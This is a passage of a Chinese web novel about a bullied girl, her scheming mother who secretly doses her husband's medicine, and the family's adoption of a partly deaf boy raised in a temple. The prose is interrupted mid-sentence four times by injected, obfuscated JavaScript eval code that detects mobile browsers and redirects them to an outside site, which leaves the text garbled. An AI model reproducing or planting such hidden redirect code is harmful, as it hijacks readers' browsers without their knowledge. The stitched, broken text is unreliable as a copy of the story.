为首的公主柴芳菲,祖父是部级领导,一言一行都很有养尊处优的公主做派:“易佑弟,你是阴阳人,不能跟我们一起,你等着和后面的男生一起上吧。” “我不是。我和你们一样,是女孩子。”易伍平心静气地答,准备绕过人墙进去。 “不可以。”她被公主急急推了一把,一个踉跄差点摔倒,“我妈说了,男女有别。我们上厕所不能被你看到,很恶心!” 易伍皱起眉头,攥紧拳头。可她不能对女生动手。 转了个身,她准备去找老师解决问题。可下一秒,一个细碎低沉的哭声幽幽传来,那熟悉的声音让她心里猛地一惊。 “准备去告老师?我妈说打小报告的人最可恶了。”为首的公主死命揪着旁边女生的头发,“没人喜欢你,因为你是个怪物。你还打人,把人打到流血。你妈也打人,你们都是怪物。你没有朋友,除了她。可是.....你要告老师,那她也不会有朋友了。” 被揪住头发小声抽泣的女生,是经常和她一起踢键子跳皮筋的欢欢。欢欢满脸恐惧,双眼垂泪望着她,抖抖索索的样子像极了被猎人逮住的小鹿。 在那一刻,她只想冲上前去,把公主的头发扯烂。 但她不能这么做。 第一次强出头,就已经造成了无法挽回的恶果。她已经答应了易国昌不再惹是生非,也绝不想再见到谷佳慧跪在地上苦苦哀求,最后被易国昌拖进房间的样子。 而且,除了欢欢,围绕在公主身边的其他女孩子,也都胆战心惊地望着她。 她们是真的害怕——害怕被阴阳人看到自己的隐私。 “好,我不去。你放开她。”易伍咬着嘴唇说,“欢欢不是我朋友。我没有朋友。” 公主终于松开了欢欢,满意地看着易伍离开了洗手间,她昂着头转身对其他女生说道:“你们看,我说我能搞定的。” * 成年后的易伍反复思索——公主当时说得对,她确实不配拥有朋友,当她的朋友一丁点儿好处也没有。 这么多年,她已经习惯了孤僻隔绝、离群索居,坦然接受没有人爱她,也根本不屑于索取别人的爱。 哪怕这个世界上没有一个人真正爱她,她也永远爱自己。 她永远也不会背叛自己。 可欢欢和黎巧何其无辜!她们凭什么被牵连进来,替她承受这一切? 回首过去,她自诩是个硬骨头。不曾被铁拳吓趴,敢和任何人拼命,愿与命运斗和运势赌。但每一次......每一次,女人的眼泪总能轻而易举地瓦解她,让她固若金汤的心理城池毁于一旦,丢盔卸甲最后只能缴械投降。 这一天快结束的时候,班主任惊呼:“易佑弟,你椅子上这是什么啊?怎么一滩水啊?” 小朋友们的目光迅速集中到了她身上。 易伍低下了头。因为一直没有去洗手间解决,不得已她尿了一身。 “这么大的孩子,马上就要上小学了,怎么还会尿裤子啊?”班主任皱起眉头,满脸责怪。 班上爆发了一阵哄堂大笑。 “阴阳人尿裤子咯。”“真丢人。”“羞羞,羞死了!”“阴阳人要怎么尿尿啊,像男生一样站着还是像女生一样蹲着啊?哦,原来是坐着尿!” 在老师的制止下,这场哄笑才算勉强停止。 * 谷佳慧来接易伍的时候,她裤子上的尿渍已经快干了。谷佳慧例行公事地问:“今天怎么样?在学校开心吗?” 易伍抬起头,与以往任何一天一样甜甜地笑着回应:“很好,特别开心!” 回到家后,她趁着谷佳慧去做饭,悄悄把裤子脱了下来,将上面的尿渍在流水下冲洗干净。 谷佳慧做完饭出来,看着飘在晾衣架上的裤子,奇怪地问:“这是怎么了,怎么自己洗了?” “哦,今天画画的时候沾了些颜料。”易伍撒起谎来驾轻就熟,面不改色心不跳。 谷佳慧没有再深究。易伍一直都是个极其令人省心的孩子,除了上次打架,其余时候她都乖得不得了。永远在笑,很少哭,也很少有情绪不稳的时候。别人家孩子撒泼打滚,闹这个要那个,在她身上从来没出现过。 这是个来报恩的孩子。 谷佳慧从来没想过她会骗人,更不曾想过她会遭遇孤立。 比起这些,她近日最关心的是二胎的事。易国昌才刚迈入中年而已,就已经完全不行了。去了趟医院,医生说他精子活力不足,再加上阳痿,这种情况想再要上二胎,怕是有点难。 谷佳慧笑了,又挖了一勺白色粉末,加入正在熬制的中药里。 * 易伍开始有意控制自己每天喝水的量。只要在学校,她就几乎不碰水,这样坚持一天到下午三点放学,就可以不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996657|178200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用去上厕所。 她也开始频繁憋尿,每次想去厕所了就强迫自己想其他的,直到撑到放学回家。如果实在撑不到,她就在课堂上举手,单独去厕所。虽然会被老师骂一顿说扰乱课堂纪律,但这样就不需要跟着大部队一起。 欢欢彻底不敢跟她说话了,但是这样也好,至少她还可以正常地上学、交朋友。 可这些人还是不放过她。 书包经常被不知道谁画得一塌糊涂,最后她只能默默地用橡皮擦去;做早操时,没人牵她的手,排到她这里,小朋友就会自动走开;体育课配对,她一定是落单的那个,最后只能和老师组队;平常休息时间,她一个人在角落静静看书,还要被路过的同学吐舌头,他们叫她“阴阳人”“妖怪”。 易伍可能是天生的超钝感大心脏,或许她真的如同他人所说,是个怪胎。这些话里的任意一个字,听在别人口中是刺耳的利剑,在她听来却和任何一个普通的词没有区别。 她为什么要管这些呢?这些人对她而言根本不重要。可她清楚地知道,不是所有人都觉得这些不重要。比如欢欢,她就很害怕,很希望合群。 日子这么过着,直到有一天,她发现自己怎么也尿不出来了。 还是谷佳慧发现了异状。这天清晨,易伍在厕所里很久都不出来,谷佳慧敲了门:“怎么了?上学要迟到了。” “再等等我,妈妈。”易伍回应着,声音却很痛苦。 谷佳慧有点着急:“到底是怎么了?”本来早上她心里就窝火,易伍却还在这里拖延时间。她一下怒极,冲了进去,却看到蹲在地上小脸揪成一团的易伍,像只可怜的小兔子。 易伍想开口说话,但她发着高烧,难受得说不出来。 送去医院的时候,医生皱着眉头看着血常规、尿常规的单子:“尿路感染好严重啊。尿比重高,白细胞爆表超出检测值了。这孩子平常做什么了?是不是完全不喝水,不排小便啊?” 谷佳慧完全不知道发生了什么,只呆楞地摇了摇头。 问易伍班主任她在学校的排尿情况,班主任只说:“每次女生组队上厕所,她都说没有尿,只在外面站着。这......我们只是老师,也不能逼着她上啊。” 等易伍终于醒过来,手上挂着抗生素的吊瓶,谷佳慧劈头盖脸就问:“你为什么都不喝水啊?” 易伍只是摇了摇头:“有时候玩起来就忘了。” 谷佳慧气急:“这也能忘?你怎么不把脑袋一起忘了?就这么一闹,今天一天的课都没法上了!” 易伍嗫嚅,勾她的手指:“对不起,妈妈。我错了。别生气了。” 谷佳慧皱着眉头,怒其不争地瞪着她:“以为你是个女孩会乖一点,没想到和男孩一样不省心!玩玩玩,成天就只记得玩!你爸都要给你找个哥哥了,你还只知道玩!” 易伍不懂她这句话什么意思,愣住了:“哥哥?给我找哥哥?什么哥哥?” 谷佳慧深呼吸了一口气,眉睫抖动:“你爸他......打算,收养个男孩。” 9. 一个胎记 可能真的是高处不胜寒。越往高处走,人似乎就越容易相信玄学。 令易国昌无论如何也无法接受的是,自己刚步入中年,精子就活力不足,还......阳痿了。 这几年他生意越做越大,钱赚得越来越多,一个厂子接着一个厂子地开,风生水起。但因为膝下无子,每每和其他企业家站在一起,他总自觉矮了一头。没有儿子,哪怕衣锦还乡荣归故里,那都是脸上无光颜面扫地。 从小,他和他妈,孤儿寡母再带个体弱多病的妹妹,在村子里不知道受了多少白眼。最难的时候,他妈偷偷去卖血,卖了一轮又一轮,这才供着他一路读到高中。因为卖血的地方器械消毒不严格,他妈被交叉感染患上了乙肝,只能靠常年吃药控制。 国棉一厂招工,人人都争破头的农转非,他妈硬是拿出所有积蓄走关系,托了层层熟人磨破了嘴皮终于给办成了。 他能走到今天,全是靠他妈。 好不容易熬出头了,他风风光光开着大奔回村,见人就撒红票子。村里再没人敢欺负他们。可他却清楚地知道,那些人表面上恭恭敬敬,背地里都在偷偷说他老易家绝了后。 “城里管得严,就让生一个。他家是个女娃。这不是绝了后是什么?所以说忙前忙后,还是一场空啊。” “挣那么多钱有啥子用哦,最后不还得归了姑爷被人吃绝户?还不如给我家三个好大儿......呵呵你让我跟他换去燕城住豪宅?我可不换!咱就守着这一亩三分地!” 易国昌哀叹青春易逝,痛恨天地不仁。更奇怪的是,这些年他越来越伤春悲秋了,气自己和个没用的娘儿们一样。被吃绝户的焦虑让他辗转反侧,失了眠。 谷佳慧见他这样,在旁边温声细语地安慰:“没事,这不喝着中药吗?慢慢调理,会好起来的。”说完,她又盛了满满一碗汤药,殷切备至地送到易国昌嘴边。 直到易国昌皱着眉头全部咽下,一滴不剩,她才满意地笑了。 易国昌心想,女人懂个屁?中药喝了一箩筐了,不但不见起色,反而肉眼可见越来越坏。再说了,儿子姓易,又不姓谷。 每每看到谷佳慧倾注全部心血培养易佑弟,他更是气不打一处来。一个赔钱的女娃,培养得再好也是泼出去的水,结婚的时候还要吞掉他千辛万苦攒下的家产。他这忙活了一场,到底为谁辛苦为谁甜啊? 而且这小狗东西,着实不招人喜欢。当初逃过了B超筛查,就这么死乞白赖地留了下来。 他妈一直说易佑弟是个灾星转世,夺了易家原本的儿,抢了他的魂。这是个极其狡诈的家伙,打也打不哭,扇也扇不服,梗着脖子浑身反骨。 好吃好喝好学校供着,可她看向亲爹的眼神里好像总充满愤恨,易国昌把她定住想要再仔细瞧瞧,那愤恨又很快转化为冷漠——这完全就是个养不熟的白眼狼! 现在,这小白眼狼还剪了个不三不四的流氓头,跟其他小男生打架....... 满心烦忧之下,他去拜会了一个在企业家圈内备受推崇的命理师。 命理师看了八字手相摸了脉,皱着眉头缕胡须:“杀孽太重啊。” “啊?”易国昌心下一惊。 命理师倒也毫不掩饰:“我开门见山地跟你说吧。你这命相看上去像是......克妻杀子,终被反噬。任由其发展下去,莫说子嗣,怕是自身也难保啊。” 易国昌更惊了,这都能猜中吗?他可什么都没透露啊。本来只是将信将疑,现在反倒是精准戳中他的痛点了。 “那.......请您赐教,该怎么改啊?休妻?弃女?”易国昌着急地问。 命理师摇了摇头:“要想消业障,多行善事吧。善因积累得多,何愁无子?” “什么样的善事,大师能不能具体点?”易国昌紧张得汗都流下来了。 “譬如......收养个无家可归的孩子?找佛缘重的,让他帮你化解杀业。”大师下了论断,“因果轮回,报应不爽。结善因得善果,种孽缘......自然得恶果。天地万物,谁又能逃得掉因果这张大网啊。” 从大师那儿跌跌撞撞地出来,易国昌抹了一头的汗。 他是个行动派,立马开始准备收养的事。易家现在最不缺的就是钱,多养个孩子,多张嘴吃饭而已,算得了什么? 他的合伙人恰好认识滇市一家寺庙的住持。合伙人说,住持心善,经年累月收养了好多弃婴,其中不乏眉清目秀的男宝,正待有缘人领养回家。 易国昌难得抛下工作,飞去了滇市的寺庙,在那里呆了整整一周。 回燕城时,他兴高采烈地带着适龄的八个男孩儿一起。 * 见到季宁的那天,是华北平原雾蒙蒙雨季里难得的一天晴。 易伍被易国昌勒令盛装打扮,必须有端庄持重的淑女样,绝对不能顶着个寸头像女阿飞,惊扰难得的佛缘。 谷佳慧一言不发地给易伍套上公主假发,又把尘封箱底的公主裙拿了出来。 易伍看得出,自从有了领养的事,谷佳慧的脸上便满是愁容。她担忧地拉着妈妈的衣袖问:“妈妈,你怎么都不笑了?” “笑?你叫我怎么笑得出来?”谷佳慧阴沉着脸,没有好气,“这个男孩一旦进门,就是你名义上的哥!将来你爸怕是宁愿把所有家产留给他,也不愿意给你一个子儿!我怎么可能......还笑得出来。” 还没有见到这个传说中的男孩,易伍心里便开始抗拒。她虽然不懂什么是家产,也不知道为什么爸爸要把所有东西都留给他,但直觉告诉她,这个家产对妈妈来说非常重要。 所有让她妈伤心难过的人和事,都不会是好的。 “还不出来!在里面磨什么洋工?别人都已经到楼下了!”易国昌在外咚咚敲门催促着。 易伍不情不愿地托起公主裙的裙摆,被谷佳慧牵着到了楼梯口。 从楼梯处俯瞰下去,七个和她差不多大的男孩,正立在玄关处排成一排,引颈向楼上张望着。 他们都在好奇地打量着易伍——除了一个人。 这个男孩格格不入。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996658|178200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他圆润的脑袋低垂,独自靠在角落。身子单薄,只穿着一件深蓝色海青。 易国昌给所有男孩买了花花绿绿的漂亮衣服,大家都兴高采烈地换上,除了他——他一口回绝,只继续穿身上的海青,尽管那衣服让他显得更加单调冷清。 谷佳慧一边牵着易伍的手,一边悄无声息地在她耳边叮嘱:“如果你爸问你意见,你记得,就选站门口的那个。” 刚刚不过只站在楼梯上扫了一眼,谷佳慧便将当下的局势分析了个透彻。 如果最后逃不过要收养,自然要选一个柔弱好掌控,最好还要有些缺陷的,这样才不会跟自己女儿争。 门口那个男孩,虽然低着头极力掩饰,但是她只扫了一眼便看到,男孩脸上有一大片胎记。再加上他瘦小单薄弱不禁风的身骨......没有更好的人选了。 易国昌走上前握住了男孩的肩膀,把他拉入人群:“你一个人站那里干嘛?来,过来啊。别低着头。” 男孩这才走了过去,和大家站在一处。 在易国昌的反复催促下,他终于犹犹豫豫地抬起了头。 易伍此时正托着裙摆,步履款款、优雅从容地从台阶上拾级而下。乌黑的假发垂到腰际,随着步伐轻轻摆动。 她的小脸被斜照进来的午后阳光点亮,白瓷般的娃娃肌如玉雕琢,熠熠生辉—— 真正的公主从童话故事里走了出来,穿越时间和空间,降临在了眼前的现实世界。 男孩们屏息凝神,显然都看呆了,好像被公主施了定身魔法。 此时此刻,每个人都希望自己被命运选中。眼前富丽堂皇的复式小洋楼,是他们从未见过的华丽宫殿。而这宫殿里,竟然还住着一位超凡脱俗的仙女。 谁不愿呢?逃离那清苦冷寂的寺庙,摆脱一成不变的清规戒律,迈入流光溢彩的大都市,拥抱璀璨光明的未来。 季宁也在抬头的这一瞬彻底愣住。 他眼里的星星被易伍的光芒吞没,本就不好的耳朵只剩下一阵嗡鸣。却还能听到她的脚步声,一步步扣在他左心房的位置,轻盈回荡,咚咚作响。 旁边的男孩正好转头看他,立即叫嚷:“小哑巴脸红了!”剩下的男孩也跟着起哄:“就他?他居然还会脸红?” 季宁的脸确实和火烧一样,自己都不知道是为了什么。 可谁知,让他脸红的公主已经下了楼梯,款款走到了他的面前。 她气势汹汹,叉起腰板着脸冲那几个哄笑的男孩教训道:“为什么要叫别人哑巴?很没礼貌啊!” 说完,她一把牵起了男孩的手:“我叫易佑弟,你呢。你叫什么名字?” 男孩几乎立刻将自己的手抽了出来,随后低下了头,再也没抬起来过。 易伍觉得十分奇怪。 旁边一个男孩连忙解释:“哎,不都说了嘛,他是哑巴啊!” “你说他是哑巴?可你全身上下都是绿,衣服还扎裤腰里,我姥爷都不这么穿......那你是什么?大青蛙?”易伍慢条斯理地转身对着那个男孩。 10. 一本书 被人唤作“小哑巴”的季宁,他的身世是易国昌后来告诉谷佳慧,谷佳慧再转述给易伍的。 季宁刚出生不久就被人丢在了寺庙门口的台阶上,包被里只写了出生时间和姓名,别的什么信息也没留下。 男孩生得眉清目秀,可额头左上的太田痣胎记几乎将脸盖住四分之一。起初寺庙的人以为这就是他被丢弃的原因,但他们很快便发现,季宁的听力也不太好。 并不是完全听不见,而是需要很大音量才能听见。幼儿早期的语言能力与听力息息相关,季宁的语言发展因此变得极为迟缓。 因为听不清,他的发音也很奇怪,只要张嘴说话,就会引来其他师兄弟的哄笑。 久而久之,他性格越来越孤僻,不再开口讲话,总独自站在一旁,也不和其他小朋友玩耍。 好在寺庙的一位师父教会了他手语,还教会了他读书识字。他开始在师父的照拂下生活,也越来越依赖于用手进行表达。 季宁常常想,因为有这间寺庙和师父的存在,像他这样被世人抛弃的残次品才得以被捡起,有家可依,有处可去。 他喜欢寺庙周遭静谧的一切。因为地处偏僻山区,香客很少,这里不会有人声鼎沸的喧嚣。只有安静,他所熟悉并喜爱的安静。 生活一成不变,他却十分喜欢。晨钟暮鼓,早睡早起学习佛经,修习禅定,休息时帮忙洒扫清洁。 师父是位奇人,之前在少林呆过,闲时还教会了他一些拳脚功夫。晨跑、拉筋、站桩,每天忙得不亦乐乎。 寺庙里有一片自己的菜园,他会去除草施肥,还曾悄悄种下一粒属于自己的种子。 季宁不是依靠耳朵去感知世界的——他的心如同一片广袤的大海。 空气里的檀香,黑暗中的萤火,庄严矗立的佛像......还有庭院里的银杏,在秋天落满一地的金黄。 他小心拾起爱心形的叶子,悄悄夹进书里。 就像师父所说,人生的每时每刻都是修行。 所以,当易国昌以禅修为由来寺庙小住,并提出要把包括季宁在内的几个适龄男孩一并带去燕城时,他的内心是抗拒的。 他拼命向师父打手语,说自己不要去什么燕城,他只想待在这里,留在师父身边,一直学佛。 师父慈爱地摇了摇头:“你还没看过外面的世界,说一辈子学佛,太早了。如果尘世走了一圈,再决定回来,那时,我自然会去门口接你。” * 季宁第一次走出寺庙,坐上了长途火车。对其他师兄弟而言,一切都新鲜有趣,他们在车窗旁好奇地四处张望,嬉戏打闹。 只有季宁默默坐在一旁。 离开了寺庙和师父,他的残缺暴露在了阳光之下,刺眼的残次品又一次降临人间。 火车鸣笛靠站,他们一行人来到了繁华的大都市燕城,继而转豪华小车,一番长途跋涉后,终于到达目的地。 他迈入了宫殿一样富丽堂皇的房子。 易伍款款下楼,和仙女临凡一样夺目耀眼。她托着裙摆翩然而至,竟然笔直走到了他的面前! 仙女朝他伸出了手,她的小手又暖又热,握在他的掌心,和揣着小暖炉一样,熨帖的温度蹭地窜了上来。 可当时的他,下意识的第一反应是立即甩开她。心里乱七八糟的情绪不知从何而起。 女孩声音洪亮,吐字清晰,难得她说的每个字他都能听得清清楚楚。 她竟开口维护了他,板着脸教训了那些取笑他的师兄弟。然后眨巴着大眼,笑着问他的名字。 “我叫易佑弟,你呢,你叫什么名字?” 可季宁并没有回答,而是垂下了头,害怕自己古怪的发音和脸上难看的胎记会吓到她。毕竟......她看上去那么皎洁、那么高贵,那么......遥不可及,炳如日星。 心里仿佛有一万只兔子在四处乱跳。 易佑弟。他在心里默默记下这三个字。 这是个神奇的时刻,一切都是后知后觉的,回溯时总会丢失很多细节。比如,易伍看向他时,眼里复杂的颜色,以及......她笑容下面隐藏着的丝丝凉意。 “季宁。”在旁边的人告知名字后,易伍喃喃自语,“好安静的名字。” * 他们这么多人一起,在易伍家三米挑高的客厅巨型椭圆桌前吃午饭。 午饭是素斋。特地请过来的大厨手艺很好。菜品丰富,各种豆制品被模拟出了比肉更高级的味道。 孩子们狼吞虎咽,平常寺里粗茶淡饭习惯了,突然吃到美味佳肴,一个个腮帮子高高鼓起。 可只有季宁,在一旁低着头不动筷子。 易伍从头到尾自己没怎么吃,反倒是一直给季宁夹菜。 他面前碗里的菜快堆成了小山包,尽管他胀红了脸,一直摆手示意自己不要了不要了。 “那我喂你?”易伍笑着说完,下一秒真的把饭勺往他嘴边送,吓得他立马拿起勺子猛吃一口。 她好像特别喜欢和他亲近,选座位的时候就一直拉着他的衣袖,硬是让他坐在自己的左手边。 初次见面,易伍所释放出的直白善意便让他感到诚惶诚恐。 欢快的午宴才刚刚进行到一半,易国昌突然停下了碗筷。 他皱着眉神情凝重地望向季宁,嘴唇微张,眼神里写满了难以置信。 谷佳慧在一旁给他盛汤,见易国昌脸上古怪的表情,便顺着他的眼神望去。就看了这下,她也惊了,因为—— 季宁周身被一层薄薄的金光笼罩,像是和其他人处在完全不同的世界。 身处金色结界的他,背脊笔直,坐姿端正,举止有度。既不狼吞虎咽也不叽叽喳喳。他只是安静地被这层光罩着,自己全然无知无察。 谷佳慧离得这样近,有机会仔细地瞧,才发现这是个多好看的孩子。 撇开胎记,男孩的五官比成年人还要好看端秀。一双桃花眼水汪汪的,挺翘的鼻梁完美镶嵌在面部中央,形态美好的薄唇微微翘起,还有那悬在嘴边的梨涡—— 那梨涡在易伍反复给他夹菜时才会浅浅地出现。 谷佳慧扭头,顺着光的来源看去,这一下终于明白了易国昌神色诧异的来源——< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996659|178200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 原来是那尊供奉在大厅的金佛! 易国昌花重金打造,专门请高僧开过光的佛像,就放在大厅正门口。每天他都在这里顶礼膜拜,口中念念有词,虔诚至极。 而现在,午后的太阳正笔直地从椭圆桌前的落地窗射入,经过内厅马赛克玻璃片的反射,落到佛像上,最后再散射到季宁身上。 这才成就了这一片金灿灿的圣光。 易国昌在内心啧啧称奇,命理师的话言犹在耳:“挑个佛缘重的认下来,帮你去除杀业。” 难道真是他的虔诚膜拜感动了老天,所以送了个这样的孩子到他身边? 虽然这孩子几乎是个哑巴,又有难看的胎记,但这一切或许正是检验他精诚所至的关键? 暗暗地,易国昌已经做好了决定。 午饭后,孩子们被准许在玩具房里挑选自己喜欢的东西。 男孩子们的注意力很快便被各式各样的变形金刚吸引了过去,每个人手里都拿着新鲜的玩具满屋子疯跑。 只有季宁从易伍房间的书架上挑了一本书,在窗帘被吹起的一角坐下。 易伍进来的时候根本没有发现他的存在。她一把扯掉头上的公主假发,露出一个光滑圆润的寸头,自言自语道:“热死了。” 脱完后她还准备换下公主裙,往柜子走的时候猛地一瞅,这才看到季宁。 “你,你怎么在这儿?”易伍惊叫出声。 季宁显然比她更手足无措,身体拼命想往后面躲却压根找不到躲的地方。 他刚想打手语说自己不是在这里偷看她,只是在看书,却突然意识到眼前的女孩根本不懂手语是什么。 “对不起......我,我不小心......我,看书.......”结结巴巴,声调奇怪得像是唐老鸭装了变声器。 话还没说完,他已胀红了脸,越发不敢抬头了。 “哈!原来你听得见,也会说话!你真的不是哑巴!”易伍压根不在意他奇怪的语调,兴高采烈地逼近,蜜桃般的脸悬在他上方。 季宁被逼到了角落。 易伍没了及腰的长发,露出整齐的寸头。出现在他面前的,是一个雌雄莫辨的假小子。可季宁还是觉得她很俏丽,非常美。 原来仙女也不一定要留长发。 “你在看《玛蒂尔达》?”易伍好奇地看了眼季宁拿着的书的封面,“我最喜欢这本了。妈妈说玛蒂尔达和我有点像......嘿嘿,你要喜欢的话,这本书送给你了,你拿回去看吧,好吗?” * 这天晚饭后,孩子们被拉到酒店里休息,可季宁的心却砰砰直跳。 他辗转反侧怎么也无法平复,手反复摸索着那本书的书皮。 玛蒂尔达,他在心底反复默念着,玛蒂尔达。 易伍家中,易国昌靠在客厅的真皮沙发上翘着腿,漫不经心地发问:“今天来了这么多小孩,你最想选谁做你哥啊?” 易伍平静地抬头回答:“选谁都行,就是不要那个穿蓝袍子的。” “哦,为什么?”易国昌难得饶有兴致地看向她。 11. 一片心形叶 “看他呆头呆脑,又不爱理人。我可不喜欢。”易伍撅起了嘴。 易国昌听完哈哈大笑,最后满意地点了点头:“行,好得很。就他了。”说完他转身看向谷佳慧,“老婆,你觉得呢?” 谷佳慧接住易国昌弹下的烟灰,温柔地答:“都听你的,老公。我也觉得那个孩子好,别人都说贵人语迟,说不定他就是我们家的贵人呢?就他吧,选他福泽深厚。” 得到了心里默默想要的答案,易国昌发出一声长笑,再次将谷佳慧端给他的,苦似黄连的中药一饮而尽。 这天晚上临睡前,谷佳慧进了易伍的卧室。她皱着眉头没好气地诘问:“不是跟你说了选那个季宁。你刚刚为什么那么跟你爸说?” 易伍眨巴着眼解释:“因为爸爸不喜欢我......奶奶总说我是个扫把星。扫把星说的话,他怎么会听呢?” 谷佳慧恍然大悟,眼里全是震惊,像是对小小的女儿有了全新的认知:“你心思还挺多,故意反着来是吧?这么说,你特地拉他坐你旁边.......难不成,那光也是你安排的?” 易伍微笑着点了点头:“妈妈想要的,我都会做到。妈妈想要他,那就只能是他。” “怎么做到的,那个光?”谷佳慧越发好奇了。 “我在客厅看书,到了下午一两点,桌子左边倒数第三个位置就会有金色的光。”易伍耸了耸肩,“一开始我也不知道是哪里来的,后来发现是佛像。爸爸每天对着佛像拜好多次,我想他应该很在意这个。” 谷佳慧惊讶到嘴巴微张,几乎忘了下句话该说什么。 易伍终于忍不住好奇问谷佳慧:“妈妈,你为什么会选季宁?” 谷佳慧犹豫了许久。她刚意识到女儿成熟得可怕,于是决定不再拐弯抹角,开门见山直接告诉她原因:“因为......他看起来最脆弱,最容易被掌控,以后.....也最容易被赶走。” “为什么......一定要赶他走?”易伍皱起眉头,“我喜欢他。他很安静,和其他人不一样。” 谷佳慧冷笑了一声:“因为......这是个丛林社会,讲究的是弱肉强食。我们娘俩已经很弱小了,只有挑比我们更弱的下手,否则,我们就会被吃掉!” 她叹了口气,语重心长地继续说,“而且别忘了,他是男孩。和那些在学校里欺负过你的臭男生没什么两样。男的天生冷血,擅长伪装。他们都是没有心的啊。你看他安静,那有可能也是装出来的......总之,你不许喜欢男生!离他们远点儿,记住了吗?” 说着,她激动地把住了易伍的肩膀,“佑弟,妈妈做的这一切,都是为了你。除了我,这个世界上不会有人再这样爱你了,男的更不会。你能明白吗?” 易伍似懂非懂地点了点头:“我也最爱妈妈。我最爱最爱的就是妈妈。我不会喜欢男生,我只喜欢妈妈。” 说完,易伍拿起手边的一叠相册翻动起来。这是今天给季宁找书的时候,她无意间看到的,谷佳慧年轻时候的照片。 照片上,谷佳慧梳着大长麻花辫,在假山前嬉戏玩耍,看起来顽皮又美丽。易伍看呆了,完全不知道古板严肃的妈妈竟然还有这样恣意洒脱的一面。她喃喃出声:“妈妈好漂亮啊!这后面是你的学校吗?就是你原来上学的地方?” “嗯。”谷佳慧点头。 “那,你在学校里学些什么呢?和我一样,每天学语文数学吗?”易伍好奇地问。 “不,我不学那些。”谷佳慧绽放出如花笑靥,“我学的,是化工。” “化工?化工是什么?”易伍歪着脑袋问。 * 酒店里的男孩们得知最后是季宁被选中,都愤愤不平到了极点:“选个哑巴?最后他们选了个哑巴?” 季宁本人得知这个消息,也是一头雾水。什么样的家庭,会选他这样有点聋有点哑还难看的孩子呢? 他在寺庙里的这些年,不是没遇到过诚心前来收养的人。只是这些人,通常在扫过他一眼后,便会毫不犹豫地跳过去看下一个。 当孩子变成可以挑选的商品,成色、毛发、五官、身体、性格,都会被拎出来横向比较。和挑选一个宠物,一只狗,没有区别。 他原本以为,这趟奇妙的旅程,最后留给他的念想,也不过是那本书了。时间的漫漫长河里,他和易佑弟,大概无论如何也不会再有交集了。 可万万没想到,最后居然是他被选中,去做易佑弟的哥哥...... 哥哥。 心里不同的情绪在互相打架。一方面,他舍不得师父,舍不得他长大的寺庙。可另一方面,师父叮嘱他的话还在耳边回响:没看过世界的人,怎么敢说自己尘缘已了? 遇到易佑弟,好像是他长这么大以来第一次,收到来自师父以外的人的善意。 除了诚惶诚恐,胆怯犹疑,还有一丝心脏砰砰直跳的欢喜....... 初见而已,易佑弟便出声维护了他。她忽略了他的残缺,牵起他的手,给他夹菜夹到一个碗都盛不下,最后甚至送给了他自己最喜欢的书。 她那么善良,害怕他听不清,每次都俯下身,靠近他耳朵说话.......尽管她一说完,他的耳朵就会烧红一片。 师父说,人生没有永远,只有瞬间。 短暂的一天里,他突然有了很多眷恋,有了很多......想留住的瞬间。 想见她更多面,而不只是今天这样匆匆一别。也许他可以试着当个好哥哥,这样他们便可以每天一起看书、画画、写字。 他想对易佑弟很好,保护她、照顾她,来偿还她的这份善意。 朋友的概念,对他而言是陌生的。可尚还年幼的他,也迫切渴望着一份友谊。这些年,他并不是故意将心门锁上,只是一直没有人前来叩门而已。 于是,当易家的管家问他愿不愿意留下时,他想了想,最后轻轻点了点头。 * 其他的师兄弟们闷闷不乐,收拾行李准备打道回府。 临走时,这八个男孩里最年长的一个走到季宁身边,一下子抖落了他的行李。 “小哑巴,你怎么这么走运啊?在庙里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996660|178200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是师父的宝贝,来了这儿还是宝贝。让我看看师父偷偷给你藏了什么好东西,留给我呗,反正你以后吃香喝辣,也用不着了嘛。” 抖落的东西里,只有几件换洗用的海青,个人清洁用品,佛经,和一本装帧精美的硬皮书。 